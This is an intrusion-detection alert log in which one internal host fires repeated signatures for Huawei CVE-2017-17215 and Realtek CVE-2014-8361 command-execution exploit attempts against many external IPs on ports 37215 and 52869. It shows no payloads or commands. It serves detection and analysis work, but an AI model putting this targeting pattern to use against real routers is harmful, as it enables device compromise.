ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.41.142.136

Timestamp:	07/20/24-23:01:06.801053
SID:	2829579
Source Port:	37164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.39.109.82

Timestamp:	07/20/24-23:01:22.740155
SID:	2835222
Source Port:	52952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.121.157.206

Timestamp:	07/20/24-23:01:32.244559
SID:	2829579
Source Port:	35570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 114.0.228.232

Timestamp:	07/20/24-23:01:06.248510
SID:	2027339
Source Port:	60044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 182.69.101.91

Timestamp:	07/20/24-23:01:19.988832
SID:	2027339
Source Port:	52402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.239.153

Timestamp:	07/20/24-23:01:02.615483
SID:	2835222
Source Port:	35738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 180.115.139.253

Timestamp:	07/20/24-23:01:07.357587
SID:	2025132
Source Port:	57700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.27.62.245

Timestamp:	07/20/24-23:01:15.076248
SID:	2835222
Source Port:	49320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 207.190.228.219

Timestamp:	07/20/24-23:01:19.969809
SID:	2025132
Source Port:	34548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 122.30.247.236

Timestamp:	07/20/24-23:01:21.658252
SID:	2025132
Source Port:	52324
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 120.120.202.208

Timestamp:	07/20/24-23:01:04.769875
SID:	2025132
Source Port:	35354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 70.153.220.198

Timestamp:	07/20/24-23:01:20.491915
SID:	2027339
Source Port:	35996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 77.121.237.8

Timestamp:	07/20/24-23:01:19.370995
SID:	2025132
Source Port:	50368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.54.0.43

Timestamp:	07/20/24-23:01:25.389455
SID:	2829579
Source Port:	55784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 71.112.213.237

Timestamp:	07/20/24-23:01:06.209400
SID:	2025132
Source Port:	60250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.2.26.236

Timestamp:	07/20/24-23:01:22.737180
SID:	2829579
Source Port:	35238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.18.188.145

Timestamp:	07/20/24-23:01:32.260443
SID:	2829579
Source Port:	34972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 183.244.92.210

Timestamp:	07/20/24-23:01:14.569004
SID:	2027339
Source Port:	43374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.205.102.154

Timestamp:	07/20/24-23:01:27.352815
SID:	2027339
Source Port:	38826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 158.95.177.24

Timestamp:	07/20/24-23:01:27.352864
SID:	2831300
Source Port:	54336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 110.74.122.205

Timestamp:	07/20/24-23:01:14.542853
SID:	2831300
Source Port:	49440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.176.113.41

Timestamp:	07/20/24-23:01:06.802009
SID:	2835222
Source Port:	57510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.67.244.232

Timestamp:	07/20/24-23:01:06.812906
SID:	2835222
Source Port:	38352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.120.56.216

Timestamp:	07/20/24-23:01:04.161259
SID:	2027339
Source Port:	50584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.188.140.143

Timestamp:	07/20/24-23:01:25.391568
SID:	2829579
Source Port:	49814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 90.220.208.134

Timestamp:	07/20/24-23:01:14.505885
SID:	2027339
Source Port:	45476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 35.206.55.83

Timestamp:	07/20/24-23:01:07.342040
SID:	2025132
Source Port:	57096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 48.41.58.171

Timestamp:	07/20/24-23:01:32.248799
SID:	2829579
Source Port:	52312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.9.58.25

Timestamp:	07/20/24-23:01:32.260443
SID:	2835222
Source Port:	35094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.62.99.32

Timestamp:	07/20/24-23:00:59.022082
SID:	2835222
Source Port:	33242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 48.93.90.162

Timestamp:	07/20/24-23:01:06.801544
SID:	2835222
Source Port:	35194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.246.227.233

Timestamp:	07/20/24-23:01:25.388939
SID:	2835222
Source Port:	37434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 179.43.198.214

Timestamp:	07/20/24-23:01:04.918465
SID:	2835222
Source Port:	33178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.59.230.146

Timestamp:	07/20/24-23:01:06.812618
SID:	2835222
Source Port:	56678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.68.213.107

Timestamp:	07/20/24-23:01:02.601458
SID:	2835222
Source Port:	43958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.77.125.133

Timestamp:	07/20/24-23:01:27.286229
SID:	2829579
Source Port:	44354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.48.146.195

Timestamp:	07/20/24-23:01:32.260699
SID:	2829579
Source Port:	35586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.31.69.67

Timestamp:	07/20/24-23:01:27.222234
SID:	2829579
Source Port:	44314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.218.105.217

Timestamp:	07/20/24-23:01:36.804831
SID:	2835222
Source Port:	36562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.128.69.214

Timestamp:	07/20/24-23:00:59.020164
SID:	2829579
Source Port:	35902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.216.94.0

Timestamp:	07/20/24-23:01:06.151660
SID:	2027339
Source Port:	44348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.19.173.34

Timestamp:	07/20/24-23:01:15.000888
SID:	2829579
Source Port:	49462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.118.164.216

Timestamp:	07/20/24-23:01:27.286229
SID:	2835222
Source Port:	44644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.65.47.196

Timestamp:	07/20/24-23:01:06.606759
SID:	2027339
Source Port:	48704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 104.175.135.141

Timestamp:	07/20/24-23:01:27.354992
SID:	2027339
Source Port:	33796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.13.103.39

Timestamp:	07/20/24-23:01:15.087650
SID:	2829579
Source Port:	41504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.112.192

Timestamp:	07/20/24-23:01:02.603717
SID:	2829579
Source Port:	41902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.38.142.169

Timestamp:	07/20/24-23:01:08.369553
SID:	2835222
Source Port:	54520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.154.230

Timestamp:	07/20/24-23:01:25.390311
SID:	2829579
Source Port:	51896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.225.54

Timestamp:	07/20/24-23:01:32.192487
SID:	2835222
Source Port:	33016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 205.146.86.254

Timestamp:	07/20/24-23:01:27.355018
SID:	2831300
Source Port:	38282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 123.81.251.53

Timestamp:	07/20/24-23:01:19.612320
SID:	2025132
Source Port:	39578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.108.235.134

Timestamp:	07/20/24-23:01:12.485954
SID:	2829579
Source Port:	48424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.93.90.227

Timestamp:	07/20/24-23:01:22.736667
SID:	2829579
Source Port:	49064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.115.105.116

Timestamp:	07/20/24-23:01:12.485954
SID:	2829579
Source Port:	34184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 147.164.232.161

Timestamp:	07/20/24-23:01:04.779681
SID:	2025132
Source Port:	57552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 71.240.247.135

Timestamp:	07/20/24-23:01:14.518210
SID:	2027339
Source Port:	34642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 221.82.215.87

Timestamp:	07/20/24-23:01:06.184025
SID:	2027339
Source Port:	51074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.85.220.68

Timestamp:	07/20/24-23:01:36.781139
SID:	2829579
Source Port:	40816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.1.215.159

Timestamp:	07/20/24-23:01:12.490733
SID:	2835222
Source Port:	42942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.44.137.40

Timestamp:	07/20/24-23:01:27.297470
SID:	2835222
Source Port:	49986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.213.124.92

Timestamp:	07/20/24-23:00:59.020683
SID:	2835222
Source Port:	51402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.118.0.63

Timestamp:	07/20/24-23:01:22.737281
SID:	2835222
Source Port:	47548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 165.167.242.189

Timestamp:	07/20/24-23:01:27.363404
SID:	2027339
Source Port:	41376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 178.39.107.192

Timestamp:	07/20/24-23:01:06.889978
SID:	2027339
Source Port:	57092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 153.97.31.189

Timestamp:	07/20/24-23:01:14.521013
SID:	2027339
Source Port:	33266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.227.153.203

Timestamp:	07/20/24-23:01:04.874130
SID:	2829579
Source Port:	38876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.156.52.27

Timestamp:	07/20/24-23:01:27.226586
SID:	2829579
Source Port:	43572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.193.114.61

Timestamp:	07/20/24-23:01:12.374034
SID:	2835222
Source Port:	53238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 191.222.133.238

Timestamp:	07/20/24-23:01:22.738834
SID:	2829579
Source Port:	45152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 74.193.187.37

Timestamp:	07/20/24-23:01:27.289200
SID:	2835222
Source Port:	57840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.172.239.148

Timestamp:	07/20/24-23:01:25.456960
SID:	2835222
Source Port:	52026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.249.112.126

Timestamp:	07/20/24-23:00:59.019939
SID:	2835222
Source Port:	40932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.75.184.178

Timestamp:	07/20/24-23:00:59.023733
SID:	2835222
Source Port:	49566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 206.120.243.243

Timestamp:	07/20/24-23:01:27.354561
SID:	2831300
Source Port:	48116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 52.137.120.101

Timestamp:	07/20/24-23:01:27.354561
SID:	2027339
Source Port:	60598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.54.72.125

Timestamp:	07/20/24-23:01:12.492810
SID:	2829579
Source Port:	53468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.1.12.172

Timestamp:	07/20/24-23:00:59.020932
SID:	2835222
Source Port:	40354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.116.1.211

Timestamp:	07/20/24-23:01:03.951915
SID:	2027339
Source Port:	47020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.255.48.38

Timestamp:	07/20/24-23:01:15.661483
SID:	2829579
Source Port:	37162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 31.175.187.129

Timestamp:	07/20/24-23:01:03.923104
SID:	2027339
Source Port:	41794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.48.67.38

Timestamp:	07/20/24-23:01:08.459273
SID:	2835222
Source Port:	34076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.134.72.2

Timestamp:	07/20/24-23:00:59.020039
SID:	2829579
Source Port:	55082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.57.88.96

Timestamp:	07/20/24-23:01:25.391568
SID:	2829579
Source Port:	49026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.203.51.193

Timestamp:	07/20/24-23:01:36.793382
SID:	2835222
Source Port:	35516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 158.90.117.175

Timestamp:	07/20/24-23:01:14.558193
SID:	2027339
Source Port:	41956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 130.135.54.218

Timestamp:	07/20/24-23:01:27.232388
SID:	2835222
Source Port:	36008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 206.40.208.27

Timestamp:	07/20/24-23:01:08.391767
SID:	2835222
Source Port:	58884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 145.185.248.183

Timestamp:	07/20/24-23:00:59.021792
SID:	2835222
Source Port:	39112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 125.165.157.181

Timestamp:	07/20/24-23:01:04.553633
SID:	2027339
Source Port:	46976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.254.230

Timestamp:	07/20/24-23:01:25.414531
SID:	2835222
Source Port:	41262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 194.65.196.65

Timestamp:	07/20/24-23:00:59.019633
SID:	2835222
Source Port:	44802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.90.204.179

Timestamp:	07/20/24-23:01:27.232388
SID:	2829579
Source Port:	49092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 186.203.154.108

Timestamp:	07/20/24-23:01:05.488122
SID:	2027339
Source Port:	43970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 147.253.173.13

Timestamp:	07/20/24-23:01:20.587272
SID:	2027339
Source Port:	53230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.162.72.121

Timestamp:	07/20/24-23:01:32.250506
SID:	2829579
Source Port:	47560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.173.250.250

Timestamp:	07/20/24-23:01:27.297470
SID:	2835222
Source Port:	46934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.104.42.82

Timestamp:	07/20/24-23:01:08.455372
SID:	2829579
Source Port:	59940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.140.179.113

Timestamp:	07/20/24-23:00:59.022895
SID:	2835222
Source Port:	50812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 117.212.142.220

Timestamp:	07/20/24-23:01:36.850101
SID:	2829579
Source Port:	58386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.213.169.109

Timestamp:	07/20/24-23:01:36.781255
SID:	2829579
Source Port:	39534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

